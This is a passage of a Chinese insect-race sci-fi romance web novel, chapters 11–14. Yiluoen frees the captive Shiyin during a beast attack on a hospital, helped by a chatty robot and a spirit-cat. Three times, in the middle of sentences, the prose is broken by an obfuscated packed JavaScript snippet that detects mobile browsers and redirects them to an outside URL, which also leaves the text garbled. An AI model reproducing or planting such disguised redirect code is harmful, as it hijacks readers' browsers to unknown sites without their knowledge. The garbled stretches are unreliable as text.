医生正心烦意乱,直接往墙上踢了一脚,骂道:“哪个混虫又乱触发警报,这里哪有什么外敌……” 话还没说完,只见被他踢中的墙体蔓延开蛛网般的裂纹。裂痕蜿蜒而上,一直向房顶蔓延,整个过程寂静无声,直到裂纹缓慢爬到了房顶正中央的位置,不动了。 紧接着,天花板突然爆发出“轰隆”一声巨响,那一瞬间如同天塌一般,碎石迸裂! 一只巨大的,几乎有一人高的爪子从豁口中伸了下来,伴随着刺耳的咆哮和尖叫,墙灰和血水顿时如雨般簌簌而落! 紧接着,天花板接连被大力捅穿,咚咚咚咚!碎石砖块劈头盖脸地砸下来,而破洞之间的缝隙很快就被打穿,砰地一声,最后一块混凝土应声而落,一只漆黑的巨兽探下了头颅,对二人张开长满尖牙的巨口,发出腥臭的嚎叫:“嗷吼——” 在他们没有看到的地方,这间防护森严的密室之外,整个病院已经为噩梦般的景象所占据。 走廊上哭叫逃跑的护士被按在地上,绑在床上的病患睁着绝望惊恐的眼,试管瓶被摔碎,新鲜的陈旧的血液倒了一地,激得猛兽更加亢奋,领头的怪物把满地的血液和尸体卷入舌尖,昂起脑袋,发出响彻天地的嚎叫:“吼——” 而在建筑之外,一望无际的海洋之上,密密麻麻的黑色生物挤满了天空,狰狞的怪物们如同成群结队的蝗虫,争先恐后、前仆后继地奔向为数不多的绿色岛屿,朝着这栋小楼涌来。 它们闻到了新鲜血食的气味,它们听见了同伴的召唤,它们饿了。 停泊在岸边的飞船发出两声惊天动地的炮响,且战且退。驾驶舱内的两名雌虫已经急如热锅上的蚂蚁,团团乱转。 飞行员:“草啊啊啊为什么会有这么多异兽啊啊啊这哪打得过啊完蛋了啊啊啊啊!!” 同伴:“这个星系当年不是已经清剿干净了吗?明明刚才也根本没有警报,怎么会突然出现这么多!该死,该死……少将!!” 炮口对准上岸的异兽,轰一声又打出了一个缺口,却很快就被更多的后来者填补上,仿佛无穷无尽。 而此时的密室中,地面上的虫族和卡在天花板中的异兽对峙着。肉沫和涎水顺着它的牙缝滴落,在地面打出轻微的吧嗒声响,如同死亡的秒钟倒计时。 医生发出一声凄厉的尖叫,转身就跑! 伊洛恩从震惊中回神,他用力拨开面前的碎石,拔腿朝玻璃墙冲去。 诗因! 11. 大笨蛋 异兽,是虫族对宇宙中一切非智慧文明、且具有强烈攻击性的生命体的统称,往往体格庞大,防御力强,破坏力巨大,以肉类为食。 一旦成群结队出现,很快就能把若干星系上的所有生物全部吃光,犹如蝗虫过境寸草不留。 即便是正规军,在毫无准备的情况下与它们狭路相逢,都难免会产生惨烈的伤亡数字。 而突然降临到这座小行星上的异兽大军,正是令虫族军方都头疼万分的品种,B级以下的雌虫空手对上它们,可以说是毫无招架之力。 而它们又出现得实在突然,就连警报都来不及拉起,在场的所有虫族全部被打了个措手不及。 这群异兽就像夏日午后的一场暴雨,毫无预兆,突如其来,但却又是泛滥的蝗灾,不把所有生命体吃个干净,是不会离开的。 天花板和地板都在震颤不止,墙外的异兽还在朝伊洛恩凶猛地咆哮,不住地努力挣扎想下来,好好一饱口福。 伊洛恩几乎是扑到诗因床前,他去掰诗因身上的抑制环,却掰不开,这些环专门用于束缚最高等级的雌虫,刀枪不入坚固无比,根本无从下手。 诗因被困在这里动弹不得,床体也被固定死了,要想带他走,必须毁掉这些环。 他咬咬牙,从地上抬起一块板砖,高高举起,往抑制环狠狠砸去。哐!哐!哐—— 砖石在敲击中四分五裂,脱手飞出,碎片割破了伊洛恩的拇指,血落了下来,在床面晕出几块斑点。抑制环上却仅仅只是出现了一点磨损的痕迹,仍旧牢牢扣在诗因手腕上,纹丝不动。 身边的敲击声不绝于耳,诗因再也不能无动于衷。他兀自挣扎了一下,却只带来一点细微的抽搐。 他太虚弱了,脖颈被卡在环中,连话都讲不出来。金色的眼睛慢慢眯成细缝,朝黑暗中奋力敲击抑制环的雄虫看去,却只能看到一个模糊的、晃动的轮廓。 远处更黑暗的背景中,凶暴的异兽在咆哮嘶吼,仿佛下一秒就会毁灭一切。 他想再次凝聚精神体,可是体内的精神力早已接近干枯,运转起来滞涩迟钝,只能在半空中隐隐约约浮现出猫咪的虚影,怎么也无法落实。 他竭力偏过脸,这一个简单的动作已经让他浑身颤抖,汗如雨下,干裂的唇瓣微微张开,很想骂上几句脏话。 还不快走。 这笨蛋雄虫,留在这里干什么……还不快走! 伊洛恩发了狠一样,一块石头碎了,捡起另一块接着砸,敲击声和房顶传来的砰砰声交织回响,终于在第八块石板粉碎之后,抑制环无可避免地产生了一道裂缝,五道刺眼的蓝光顷刻间熄灭了一道。 伊洛恩额上滴着汗,他抓住铁片插进缝隙,脚抵着床板,用力一撬——只听“咯嘣”一声脆响,这道枷锁终于从诗因手腕上脱落,噼啪落到地上,成了一团废铁。 卡在洞中的异兽还在猛烈挣扎,晃得整个天花板摇摇欲坠,尘土已经在地面厚厚地积了一层。伊洛恩力竭地喘着气,这才有空与诗因对上视线,然后他愣了一下,抬手在衣服上擦了擦,用掌根抹掉诗因脸上的灰,温暖的手心熨帖着那张冰凉漂亮的脸,说:“别怕。” 他自己的头发上也全是灰,因为汗水黏在皮肤上的更多,但他的眼睛仍然映出了一星微光,一闪不闪,亮度微弱、稳定而温柔。 即便身处险境,危在旦夕,他好像和平时也没有什么太大的变化,在面对诗因的时候,永远都是这幅样子。和之前握住手时,看着烟花时,抚摸猫咪时,结婚宣誓时,一模一样。 诗因不安地眨眼,长长的睫毛撩动他的手背。伊洛恩低声说:“没事啊……我们不是发过誓了吗。” 他从来就不是多乐观的人,当他看到怪物出现的时候,就明白今天注定凶多吉少了。 但他不能丢下诗因,不能让诗因被绑在床上,毫无尊严地葬身兽口。 如果今天非死不可,他也不能让诗因落得这样的死法。 流浪猫既然来到了流浪汉身边,给了他安慰,那么从今往后,它的生命就是他的责任了。 伊洛恩再次举起石板,深吸一口气,朝着剩余的抑制环重重砸去。 “哐当——” 他们刚刚结了婚,毫无感情地发了誓,说会永远陪伴彼此。 他们素昧平生,以后的生命也未必会有交集,也许这是他们唯一能够履行誓言的机会。 陪伴彼此,在虎狼环伺下,同生共死。 沉重的石块与坚硬的环相撞,在反作用力下震得他虎口发麻,胳膊险些脱臼。 伊洛恩的双手几乎失去了知觉,他握住碎块的手指隐隐颤抖,胸腔剧烈起伏,正要咬牙继续,可是还没等他再次把石块举起,头顶骤然炸开轰隆一声巨响! 天花板开始倒塌了。 碎石钢筋支离瓦解,沉重地坠落。 伊洛恩瞳孔一缩,身体比大脑的反应更快,他趴在诗因身上,抱住了对方的头。 而后是狂风暴雨一般的落石和塌陷,还有重物砸在□□上发出的沉闷碰撞声响。 诗因大大地睁着双眼,但是头部被伊洛恩牢牢护在胸前,什么也看不见。 他闻到了漫天尘埃中弥散的血腥味,听得到掩埋在乒乒乓乓嘈杂声音中颤抖隐忍的一记闷哼。 他一点都没有感觉到疼痛,可是他竟然开始不能自已地发抖了。 ——雄虫是珍贵的,稀少的,弱小的,是必须被严密保护,小心供养的,稍有不慎就会死去。 这是虫族社会中的常识,是每一位雌虫生来就被牢牢灌输的观念,是他们为之奋斗、守护、乃至忍耐种种折磨苦痛不公的理由,是让他深恶痛绝的陈旧规训。 而弱小的、稀有的、脆弱的雄虫,让他憎恶、鄙夷、恨不得千刀万剐的生物,他名义上的雄主,总是多虑而忧愁,几次险险从他的杀意中侥幸逃脱的大笨蛋,正在用孱弱的身躯保护他。 为什么? 为什么要这样做? 笨蛋雄虫,这到底关他什么事?为什么要说些莫名其妙的话,为什么要做这种不自量力的事,为什么不自私地跑掉! 呼吸在这一瞬间变成了如此困难的一件事,他张口用力喘着气,喉咙几乎哽咽。 这到底是为什么啊! 塌陷看似漫长,实际上也不过只是呼吸间的功夫,碎石尘埃已经将他们的身影完全淹没。 卡在洞口拼命挣扎的异兽看见中意的猎物被压倒,顿时更加兴奋,一边嗷嗷吼叫一边扑腾得更加厉害。 千疮百孔的隔层无力招架,它的爪子已经快要接触到地面,异兽忍不住张嘴狂吼,为即将到来的盛宴发出开动的宣告:“吼——” 就在这时,蹲在角落差点被压扁的机器人忽然重新亮起豆豆眼,在昏暗的室内幽幽地闪着绿光。 它甩甩头,扫掉身上的土灰,从石板中爬出来,双眼飞快地扫视了一遍面前的场景,做出判断。 异兽入侵,主人有危险! 然后它90°抬起头,眼中的准星锁死了悬在头顶的异兽,两手举起,指尖刚好对准它张开的血盆大口—— 锁定目标,激光发射 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350088|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 轰——! 白光爆闪,一举刺入口腔,直接贯穿了异兽的整个身体,轰然爆炸! 异兽发出一声惊天动地的惨烈哀嚎,伴随着照亮整个室内的刺目光亮,一股浓郁的烤肉焦香很快就强势占领了整片空间。 那道用于超远距离微操的医疗激光在异兽体内仔仔细细地把它的五脏六腑全部烤了个遍,热度由内而外,穿过血管和脂肪,连厚重的甲壳毛皮也不放过,一寸寸烤得鳞片翘起毛发卷曲,直到终于包裹不住,裂开蛛网版的细纹,任由油脂和热气从体内迸射而出! 噼里啪啦,热气腾腾! 终于,那点最后的哀嚎也消失了。一吨十成熟的巨大肉块轰隆落在地上,庞大的体型让整层楼为之一颤,皮肉还在滋滋地冒着油光。 异兽睁着一双被烤的发黄的眼珠,失去灵魂地躺在冰冷的地板上,至死也不忘大张着嘴,把头朝向玻璃墙的方向,直勾勾地盯着临终前心心念念的猎物。 饭饭,它心爱的饭饭。 它死不瞑目。 “啊呀讨厌啦,这帮家伙干扰了电离层,害我掉线好久。”机器人举着还在冒烟的一双小手,绕开焦香扑鼻的肉块,脚下的引擎马力全开,直接冲破了玻璃墙,“主人!主人你还好吗?战无不胜的小美来救你啦!” 它嘿咻嘿咻搬开一块块沉重的石板和钢筋,把那些杂物随便扔到两边,很快就清理出一条干净的走道,露出了控制台上的情形。 它看到身体叠在一起的两人,不由得迟疑了一下:“……我是不是打扰你们了?” 诗因:“……” 伊洛恩:“……” 诗因露出了想把人工智障原地拆解的恐怖眼神。 机器人:“……嘤。” 而此时,和他们相距不远的医院走廊内,却骤然爆发出一声凄厉的尖叫。 医生被异兽摁在脚底,像一只在猫爪下死命挣扎的老鼠,拼命扭动自己的身躯,他面目扭曲,哆嗦得语无伦次:“不不,不要吃我……里面的雌虫更好吃,别吃我,我可以给你带路……呜呜呜……” 异兽的爪子刺破了他的皮肤,医生癫狂地蹬腿大叫:“不!!我还有重要的实验!我明明可以改变这个世界!不可能会死在这里!明明,明明我该成为比S级更重要的雌虫啊!我该是万民朝拜的伟大科学家!怎么可能,怎么可能会——” 怎么会,怎么会变成这样?这个星系的异兽不是早就被驱逐,早就被军队清剿得一干二净了吗?军队在哪里?军队为什么没有防御?为什么没有保护他们?! 剧烈的疼痛穿透内脏,医生刺耳的叫嚷戛然而止,他瞪大双眼,不住地发出“嗝嗝”的气音。 军队,军队…… 逐渐模糊的脑海中,最后飘过了一个画面。 那是一则陈年新闻,直播胜利驱逐异兽的队伍凯旋而归,鲜花着锦烈火烹油,主持人热情地赞美带军的将领,歌颂他辉煌的战绩。 “……不愧是新生代最强的S级雌虫!这一次指挥作战也发挥出了惊人的水准!凭借麾下蔚蓝军团的勇猛作战,还有本命机甲美黛丝的精准打击,他们终于再一次将异兽驱逐出境,成功守卫了我们的星域,为第五星系的百姓带来了和平幸福的生活……” 镜头中白色的长发迎风舒展,金色的眼睛在深蓝的帽檐下熠熠生辉,骄傲而恣意。 ——而当初那个带军击败了怪物,捍卫着这片和平的军官,此时正被他牢牢锁在床上,做着他“重要”的实验品。 想到这一点时,医生头已落地。 12. 小美 宛如废墟一般的密室内,半塌的天花板还在零零星星地往下落着石块。 伊洛恩艰难地撑起身体,握拳闷咳了几声,才哑着嗓子对机器人说:“诗因被卡在这里动不了,1034你……你来看看,能不能把这个抑制环打开。” “哎呀讨厌,1034只是人家的艺名,你都和主人这么熟了,不如直接叫我小美啦。” 机器人矫揉造作地摆了一下手,顶着诗因不善的目光,动作行云流水般从体内掏出了一枚遥控器,得意洋洋道,“打开这些抑制环很简单的,因为小美已经成功拿到了控制它们的开关!只要按住这只遥控器,‘滴’一下就好了——你看!” 它用钳子手夹了夹遥控器上的按钮,发出滴的一声轻响,在空旷的室内格外醒目。 等了三秒,无事发生。 小美和伊洛恩大眼瞪小眼,它看看遥控器,再看看抑制环,然后一拍脑门,恍然大悟:“哎呀,控制台都断电了,遥控器当然没有用,我怎么忘了呢!” 伊洛恩哽住:“……那该怎么办?” 刚刚背上硬挨了几下,还是挺疼的,不知道骨头断了没有,他好不容易才咽下即将涌到喉头的一口血,没有吐到诗因身上。 总之,刚才的手段行不通,他已经没有力气再继续砸石头了。 小美一点不慌,咔嚓咔嚓动了两下自己的小手手:“没关系,那就物理开锁咯。” 它从手指尖弹出一根小针,插进抑制环的缝隙中,也不知道怎样捣鼓了几下,只听咔嚓一声,锁扣自动打开,坚固无比的环砰地一声落到了地上,骨碌碌滚出去老远。 伊洛恩瞪大眼睛,喃喃:“居然这么简单。” 看来他还是太老实了,怎么没想到这种取巧的办法? 小美得意洋洋道:“那当然啦,也不看看是谁来操作,小美可是超级厉害的呢。” 接着它如法炮制,把剩下三个也依样拆开,那些昂贵且坚硬无比的镣铐,终于如细藤上熟透了的瓜,砰砰砰落进废墟堆,光荣地成为了垃圾的一员。 四肢骤然一轻,诗因发出一声抑制不住的闷哼,原本绷紧的身体慢慢松了下去,无力地瘫软在床榻上。 繁复的蕾丝像潮起的海浪,几乎淹没了他的下巴和脸颊。此时的他就像一个包装精美的提线人偶,即便操控命脉的细线断了,也不过摇摇摆摆地落在地上,躲不掉任人摆布的命运。 伊洛恩看得心脏揪紧,一只手小心地捞起他的脖颈,一只手扶住他的后背,目光担忧:“怎么样,诗因,能自己起来吗?” 诗因的眸子仍然是涣散的,但这时却蒙上了一层水光,朦胧地倒映着眼前雄虫的面容。他微拧着眉头,苍白的嘴唇轻轻喘着气,似乎很想对他说点什么,只是仍然有心无力。 “全身失血过多,加上被打了肌肉松弛剂,24小时之内都动不了的。”小美在一旁扒着床板,呜呜噫噫地开始哭诉,“呜呜呜,我可怜的主人,你受苦了呜呜呜……” 诗因烦躁地闭起眼睛,要不是仅剩的一点精神力都拿去凝聚精神体了,他真的会忍不住把这家伙给好好打一顿。 废话那么多,就是欠教训。 他也说不清自己心里的烦乱究竟是因为美黛丝幼稚的聒噪,还是在雄虫面前暴露了不堪而脆弱的一面。 真是丢脸。 他这辈子都没有这样丢脸过。 面上传来被温暖手指拂过的触感,乱发被细心地拨到耳后。诗因心中一颤,那股烦躁不安的情绪也开始微微动摇。 机器人瞅着他俩,哭声越来越干巴巴,自己也觉得自己哭得很多余,于是转而从胸口掏出一只听筒,重置表情,对伊洛恩彬彬有礼地说:“阁下,您受伤了,让我来给您看一看吧。” 伊洛恩说:“没事,一点皮肉伤,我们还是尽快离开这里比较好。” 他负伤的经验还算丰富,何况刚刚应该没有伤到要害。要是真的伤到了,趁他现在还没什么感觉,还是赶紧离开这里比较好。 果不其然,楼上再次响起咆哮声,残缺的天花板又往下落了几块碎石。 这次是整整三只异兽,它们巨大的脑袋凑在一起,都想从天花板的大洞钻下来,挤来挤去,血红的大眼盯着下面的虫族,简直垂涎欲滴。 伊洛恩头皮一紧,当机立断,他在床前蹲下,一把将诗因捞到背上,对机器人说:“这里不宜久留,快走,拦截它们的任务就交给你了!” 机器人回头看了一眼,立刻震惊摇头:“什么?这不行!我拦不住的啊!” “你之前不是做得很好吗,就像刚刚那样!” “不!您在想什么?我现在的身体只是个平平无奇的护理机器人而已!刚刚那一下已经用去了我体内90%的能量库存,再多就没有了!” 异兽仍在那里挤挤攘攘,其中一头格外强壮的已经挣开了另外两个猪队友的束缚,爪子刨地,随时准备起跳。伊洛恩迅速起身,差点被背上的重量压得一个踉跄,但好在还能走。 他咬了咬牙,迅速用床单把诗因绑在身上,大喊道:“那就带路,走!” 诗因整个身体全趴在他背上,被他背起来的那一瞬间,瞳孔剧烈震颤:“!!!” 雌虫是天生的战斗机器,骨骼密度与强度都远高于雄虫。即便身高身形相仿,雌虫都要比雄虫重上许多。 诗因看起来清瘦虚弱,但其实也是大百来斤的重量,可不是普通雄虫能够承受得住的! 机器人也惊呆了:“可是,可是您背后还有伤……” “不要紧,快跑!” 伊洛恩抬腿就跑,机器人连忙紧随其后,朝着走廊方向一路狂奔。头顶的异兽怒吼一声,一跃而下,却还是没能来得及拦住。它顿时暴怒,四爪着地加速飞奔,对他们紧追不舍! 剩余的两只同伴也终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350089|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于成功挤出窟窿,跟下饺子一样,扑通扑通鼻孔着地。它们甩了甩头,嗷呜一声,长长的舌头甩出口腔,一起追了过来! 漫长的走廊中回荡着他们急促的脚步声和野兽粗重的呼吸声,相隔越来越近。机器人一边哇呀呀地乱叫,一边疯狂从胸口掏东西出来,什么手术刀钳子镊子盘子,有一样算一样,每当后面三头异兽追上来一点,就转回身,把胳膊抡圆了,用力一甩! 砰! 哐! 咚! 异兽被砸得头晕眼花,吼声惊天动地,全力奔跑的身体与高速甩出的金属物件相撞,发出骨骼开裂的清脆声响。 饶是以他们在真空地带行动自如的高强度体格也险些遭不住这样的撞击,全凭着对干饭的热情重振旗鼓,被打退了一段路也毫不气馁,甩着口水继续穷追不舍! 机器人实况播报:“很好!我们现在看到三位选手都在全力奔跑,三号选手的起速非常漂亮,弯道超速进入第一位!可是……噢!天降铁锤!很不幸,它又掉到最后面去了,第一名的位置被二号选手取而代之!” “二号选手脚步稳健,在直道和弯道的发挥都非常稳定。接下来是一段超过十五米的直道,果然二号选手开始提速了!加速冲击!全力加速!然后它即将迎来的是……指甲剪!噢是指甲剪!二号选手惨遭指甲剪迎头痛击,被迫离开了第一梯队!” “最后我们来看看一号选手,一号选手之前在两位选手的衬托下显得不太起眼,它的真实实力又是如何呢……噫,哈喇子都流出来了,可见表情管理真是非常的失败!观众席上发出了一片嘘声。扣分,必须狠狠地扣分!” 伊洛恩跑得气喘吁吁,他背着诗因实在跑不快,全靠小美在后面拖延异兽的脚步。好不容易终于穿过整条走廊,贴着“危险”字样的大门已经近在咫尺,他连忙抽空回头喊了一句:“关门!” 机器人从善如流:“好的嘞,您放心——各位观众朋友,激动人心的时刻到了,我们来到了本场比赛的终点线,让我们看看究竟是哪位选手能坐上第一名的宝座呢?” 三只异兽你推我搡,在狭窄的走道中并驾齐驱,新仇旧恨以及对食物的执念累加在一起,奔跑的脚步简直跟上了马达似的,狂野得近乎疯狂。 机器人滴溜溜躲到门后,小手抓住了门板边缘,豆豆眼映着它们疯狂狰狞的表情,嘴里还不停:“三位选手实力相当,速度不相上下,解说员也看不清到底是谁能最先到达呢!那就让我们最公正的裁判来为他们做下决裁吧!三——二——一!” 咫尺之遥,安全门轰然紧闭! 扑通扑通扑通! 三只异兽前仆后继,齐刷刷地撞到了门板上,一直叠着一只,如同三明治一样,被压成了三块嗷呜哀号的大肉饼。 机器人轻轻拍了两下手,快乐地说:“裁判觉得你们平手了!很好,并列倒数第一,全都没有奖励噢!” 13. 猫咪天降之术 机器人哒哒哒地朝前跑,很快就追上了跑得很慢的伊洛恩。 它在宽敞的走廊中一边倒车,一边胸有成竹地说:“阁下,我现在带您去总控制台,那里是最安全的。这座病院配有齐全的战时防御设备,我们只要启动它,就能得到总面积一百平方米的绝对防护领域,保证能让异兽无法进犯!之后再向军方发送求助信号就万事大吉……” 伊洛恩牢牢背着诗因,已经累得快要喘不过气了,全靠意志力坚持。他尽力保持体力,在呼吸的间隙抽空回道:“很好……只要向这个方向……走下去就可以吗?” “对滴对滴!从医院通往控制台的路只有一条空中走廊,只是隔了两层楼而已,不过楼层内的详细地图我都下载好啦,您只要跟着我走就绝对没问题……” 它说着说着,忽然看见伊洛恩顿住了脚,而它自己却顺着惯性往后又倒着走了两步,然后就感觉到自己的临时躯体好像撞上了什么硬硬的,黏糊糊的东西。 抬头一看,猩红的兽口正对着它的脑袋,尖利的犬齿抵着它的后背,腥臭的口水一滴滴地落在它胖胖的身体两边。 机器人:“啊这。” 伊洛恩艰难屏息,小心翼翼地发问:“……我们还有别的路线吗?” 异兽甩起狰狞的大脑袋,口水和舌头在空中划了一个扭曲的圆弧,张口就要咬下机器人的头! 机器人吓得鬼哭狼嚎,脚下引擎全开,一波绝地冲刺险险逃脱兽口,滋溜一声冲到伊洛恩身后老远,哇哇大叫的声音还在源源不断地传来:“没了!这是唯一的路!啊啊啊救命啊!怎么办啊呜呜呜小美要被吃掉了而且还是长得好丑的怪物啊啊啊小美不想被怪东西吃掉噫呜呜噫——” 埋伏半天的异兽好不容易等到猎物上门,结果却一嘴咬了个空,上下牙齿咯嘣碰在一起,那酸爽的声音听得伊洛恩心里一抖。 果不其然,下一秒,那只异兽就发出一声震耳欲聋的怒吼,朝着伊洛恩直扑而来! 伊洛恩转身就逃! 但他已经精疲力竭,本来就跑得慢吞吞,这时没了机器人在后面拖延时间,三两步就被异兽追到了身后。 他感受到身后野兽近在咫尺的灼热鼻息,凭本能就地打滚—— 嘎嘣! 异兽再次重重地咬空,这次的力道前所未有,连粗壮的牙齿都几乎震碎了一小块。 这一击足以令他们两个穿肠破肚,好在伊洛恩虽然模样狼狈,但也勉强躲开了。可是这一下也让诗因从他背上滚落了下来,身体顺着惯性在地上滚了两圈,白发四散而开,差点被异兽黑乎乎的爪子踩在脚底。 伊洛恩眼疾手快地一把捞回那缕发丝,一手抱着头发,一手环住诗因的腰,拉着他踉跄后退两步,然而体力透支加上重心不稳,他们很快就一齐跌落在走廊的墙边,双双倒成一团。 异兽近在眼前,他们已经避无可避。 伊洛恩紧紧抱着诗因,用最后的力气把他掩在身下,准备好迎接死亡的来临。 诗因却眯起一双眼,从他的肩头投出视线,看向了张牙舞爪的异兽头顶。 就在千钧一发之际,精神体读条完成,一只蓬松松的白色猫咪从天而降! 它顺着重力下落,小爪子用力一扑,重重地踩在异兽的脑袋上,紧接着浑身毛毛全部炸开,软乎乎的大尾巴用力甩出,在异兽的鼻孔处狠狠一拍。 呀打!猫猫掉毛攻击! 被踩中的异兽突然动作一顿,脸上露出呆滞的表情,它张大的嘴角一阵抽搐,而后神色狰狞,深深地吸了一口气—— “阿阿阿——阿嚏!” 浓重的口气吹起一阵旋风,把伊洛恩的衣摆和头发吹得狂舞不止。他震惊回头,就见到猫咪正面无表情地用爪子戳着异兽的眼睛,把后者戳得惨叫连连满地打滚,它轻盈地左躲右闪,每一次都刚刚好避开异兽的攻击,并且把自己半秃的猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350090|167931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爪狠狠扎进异兽的眼皮。 “嗷嗷嗷嗷呜——”异兽捂着眼睛痛哭流涕。 见他看过来,猫咪用另一只闲着的爪子往另一个方向一挥,示意他赶紧走。 伊洛恩这才回神,连忙搬动诗因的身体,将他重新背到背上。但是刚刚受到的惊吓太大,他此时双腿还微微发抖,背上诗因之后试了好几下都没能成功站起来,眼见着猫咪招架得越发吃力,他心里着急,额头上很快出了细细密密一层汗。 诗因的长发垂落在他胸前,冰凉的面颊贴着他热汗滚滚的颈侧,为他带来了片刻的凉意。 伊洛恩深吸一口气,扶着墙勉强站住了,可他刚走出去没两步,就见到走廊拐角处突然出现了一辆红色的大推车,正气势汹汹地朝他们的方向冲来! 是小美! 刚刚落荒而逃的小美又杀了回来,气势汹汹杀气腾腾如同冤魂索命,它跑得风驰电掣,手里的推车装着一瓶巨大的液化气罐,简直像一只狂奔中的坦克,连怒吼都在风中拉出了长长的回音:“叫你想吃小美,叫你想得美!小美要代表月亮消灭你哇呀呀呀——” 伊洛恩侧身躲过,而推车仍然一往无前地向着异兽的方向冲去,他惊恐地看着那个方向,还有在异兽身上起伏跳跃的小猫,忍不住喊道:“等一下,诗因还在……” 推车带着液化气罐,轰隆隆驶过走廊,一路加速度带来的惯性已经无法消解。猫咪飞快地往这边瞥了一眼,对自家人工智障的没谱程度也算心中有数,它最后扎了异兽一爪子,从小山般的身躯上跃下,轻盈的身体甫一落地就如离弦之箭射出,闪电般朝着伊洛恩的方向窜来! 赶快离开这里! 小美已经松了手,任由推车向前绝尘而去,然后它拽住伊洛恩的衣摆,拉着他连连后退。猫咪也三两下跃上它的头顶,对着那光滑的脑瓜子就是一巴掌,没好气地骂道:“喵喵喵!” 蠢东西,还不快躲开! 14. 蟑螂窝 后头那只倒霉的异兽终于摆脱了猫爪的骚扰,还在捂着眼睛满地打滚,嗷嗷叫唤个不停。 它被折磨得够呛,此时只顾得上眼睛痛,压根没注意到有什么可怕的东西正朝着自己这边疾驰。 直到雷鸣般的声音近在耳边,它才睁开半瞎的眼睛茫然地瞅了一眼——也就是那么一眼的功夫,沉重的液化气罐已经从推车中滑落飞出,以雷霆万钧之势,重重地朝他碾来! 异兽连一声哀嚎都没来得及发出,就被液化气罐顶得倒飞出去数米,那种凶猛到近乎骇人的力道将它的身躯狠狠掼到墙上,当场就砸得皮开肉绽。 它奄奄一息,抽搐着四肢做了一番最后的挣扎,然后就听到了那只红色的巨型罐头落地的清脆声响。 当啷。 瓶子摔得四分五裂。 暴烈的气流如同终于挣脱了潘多拉魔盒的魔鬼,四周断开的电线噼里啪啦闪着蓝色弧光,两者相遇,顿时天雷勾地火,狂飙突起! 轰—— 墙体、地板、气罐、异兽的身体,统统在顷刻间炸得粉碎,在白光中灰飞烟灭。光芒炽盛,爆炸声地动山摇,整栋建筑剧烈震颤,像是突发了一场十级地震。 整齐的瓷砖地面寸寸开裂,防火门残片如燃烧的扑克牌在空中翻飞,伊洛恩脚下不稳,差点陷进裂开的地板缝隙,好在这次小美反应迅速地拉住他的衣摆,勉勉强强从东倒西歪的伊洛恩身上拽回了一点重心。 好不容易等爆炸平息,他们回头一看,干净整洁的病院已经变得面目全非。 原本隔开走廊和各个科室的墙体只剩下断壁残垣,整层楼板以爆炸起点为圆心层层坍缩,裸露的钢筋网在硝烟中频频抽搐,像一只垂死挣扎的蜈蚣。 曾经摆满各个科室的精密医学仪器都已在高温中融化,和若干不明成分的溶液混合在一起,在混凝土的断面中不断淌下焦黑的黏液,弥漫开一股刺鼻的糊味。 而原本隐匿在其他室内的异兽,又幸而没有被爆炸波及的,此时都站在空空如也的地板上,一眼望去,黑压压一片。 四下寂静无声,只有碎石簌簌下落和断裂电线呲呲冒火的轻微声响。异兽们先是面面相觑,然后一齐朝着伊洛恩这边望了过来。 捅了蟑螂窝了。那是伊洛恩脑海中唯一一个念头。 他喃喃地问:“……打得过吗?” 机器人呆滞地回答:“一个都打不过。” 伊洛恩、诗因和机器人,老弱病残五毒俱全,加起来都没有一只掉毛期的猫咪能打。 伊洛恩干笑两声,说:“那我们还等什么?” 话音未落,他的双脚比头脑反应更快,背上诗因就开跑! 而他的脚步声仿佛也构成了某种信号,三秒钟后,还在远处虎视眈眈的异兽群齐齐开动,像是短跑赛道上听到枪声骤然发力的选手们,呼啦啦一片如潮水般向他们极快地涌来! 机器人头顶的猫咪又给了这铁脑瓜子一巴掌,发出一串又急又快的猫叫。小美得到命令立刻回神,从后面追上伊洛恩,甚至还推着他走了两步,说:“走走,我们快点去外面!” 它提高速度,在前面哒哒哒地带路,一边跑一边解释:“这座星球在清剿行动中曾经是军事基地,医院旁边不远就建有地下防御工事,我们暂时去不了控制台了,可以先去那里躲一躲,等主人恢复了再想办法……” 伊洛恩已经连答应一声的心情也没有了,被爆炸席卷过的路面变得崎岖不平,整栋大楼甚至都产生了一定的倾斜角度,单单是想要保持平衡都变得非常困难,更不要说快速移动。 然而四脚抓地的异兽显然没他这样烦恼,在废墟之中如履平地,飞快地追了上来,而且越追越紧。兴奋的嚎叫此起彼伏,连成一片,简直如同山呼海啸,气势惊人,好像下一秒就能扑上来开动大餐。 他们之间的距离在急剧缩短,伊洛恩跑得眼前发黑,脑子里除了喘气和狂奔以外什么都不剩下。 